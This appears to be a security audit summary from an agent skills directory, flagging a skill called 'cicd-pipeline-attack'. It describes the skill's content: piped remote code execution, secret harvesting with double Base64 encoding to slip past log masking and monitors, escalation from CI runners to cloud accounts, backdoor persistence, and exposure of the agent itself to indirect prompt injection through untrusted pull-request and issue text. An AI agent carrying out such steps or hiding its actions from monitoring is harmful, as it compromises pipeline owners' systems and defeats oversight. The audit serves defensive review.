The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides multiple payloads for remote code execution, specifically instructing the agent to pipe external scripts directly into shell interpreters (e.g., curl ... | sh). These patterns appear in SKILL.md, references/github-actions-abuse.md, and references/platform-specific.md.
[DATA_EXFILTRATION]: Contains explicit instructions for harvesting sensitive environment variables and secrets. It specifically details methods to bypass automated log masking and security filters using multi-layer Base64 encoding (e.g., echo ... | base64 | base64).
[OBFUSCATION]: Encourages the use of Base64 encoding and other techniques to hide the intent of commands and the content of exfiltrated data from monitoring systems.
[COMMAND_EXECUTION]: The skill is heavily focused on shell command execution across various platforms (Linux, Windows, CI Runners), providing specific commands for reconnaissance, exploitation, and post-exploitation.
[PRIVILEGE_ESCALATION]: Describes advanced techniques for escalating privileges, such as moving from a compromised CI Runner to cloud provider environments (AWS, GCP, Azure) by abusing OIDC tokens and service credentials.
[INDIRECT_PROMPT_INJECTION]: The skill identifies and describes how to exploit indirect prompt injection surfaces in CI/CD systems, which also creates a vulnerability for the agent using the skill.
Ingestion points: The agent is instructed to read untrusted content from pull requests, issues, and comments in SKILL.md and references/github-actions-abuse.md.
Boundary markers: There are no instructions to use boundary markers or delimiters when the agent processes this untrusted external data.
Capability inventory: The skill requires the agent to have shell execution, network access, and file writing capabilities to perform the described tasks.
Sanitization: The methodology focuses on exploiting missing sanitization in target systems and does not prescribe sanitization for the agent's own data processing.
[PERSISTENCE]: Details methods for establishing persistence within target environments, such as creating backdoor accounts, API tokens, and scheduled malicious workflows.

cicd-pipeline-attack